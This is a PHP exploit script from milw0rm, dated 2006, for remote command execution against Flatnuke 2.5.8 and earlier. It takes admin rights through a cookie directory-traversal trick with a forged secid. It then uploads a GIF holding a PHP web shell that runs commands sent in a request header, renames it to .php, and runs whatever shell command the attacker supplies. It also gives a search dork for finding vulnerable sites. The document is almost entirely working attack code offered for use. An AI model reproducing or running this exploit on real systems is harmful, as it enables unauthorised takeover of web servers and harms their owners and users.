Flatnuke 2.5.8 - 'file()' Privilege Escalation / Code Execution

#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-----------------------------------------------------------------------------
Flatnuke <=2.5.8 file()/privilege escalation/remote commands xctn exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "FlatNuke" "Valid HTML 4.01!" "Valid CSS!" "Get RSS 2.0 Feed" "Get RSS
      2.0 Feed"
-----------------------------------------------------------------------------
');

/*
works regardless of php.ini settings
*/

if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to flatnuke
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /flatnuke/ ls -la -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 /  -p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}
function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$admin="rgod";

$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

/*
directory traversal in "myforum" cookie argument...
pass stats file to file() in getsecid() function, we have a 10 in the right position (!!)
and /misc/flatstat/2006/1.php can't change if you installed flatnuke after 2006, January
so we are admin and we can upload a malicious .gif with php code, after we can rename it
with .php extension, so... we launch commands
*/

//upload
$data.='-----------------------------7d6224c08dc
Content-Disposition: form-data; name="action"

upload
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="path"

sections/Gallery
-----------------------------7d6224c08dc
Content-Disposition: form-data; name="file_up"; filename="suntzu.gif"
Content-Type: text/plain

GIF86<?php error_reporting(0); set_time_limit(0);echo "my_delim";passthru($_SERVER[HTTP_SUNTZU]);die;?>
-----------------------------7d6224c08dc--
';
$packet ="POST ".$p."index.php?mod=Gallery HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: myforum=../../misc/flatstat/2006/1; secid=".md5("../../misc/flatstat/2006/1"."2|0").";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//rename
$data='action=rename&path=sections%2FGallery&rename_from=sections%2FGallery%2Fsuntzu.gif&rename_to=suntzu.php';
$packet ="POST ".$p."index.php?mod=Gallery HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: myforum=../../misc/flatstat/2006/1; secid=".md5("../../misc/flatstat/2006/1"."2|0").";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//launch commands
$packet ="GET ".$p."sections/Gallery/suntzu.php HTTP/1.1\r\n";
$packet.="SUNTZU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim"))
{
$temp=explode("my_delim",$html);
die($temp[1]);
}
//if you are here...
echo "exploit failed...";
?>

# milw0rm.com [2006-10-10]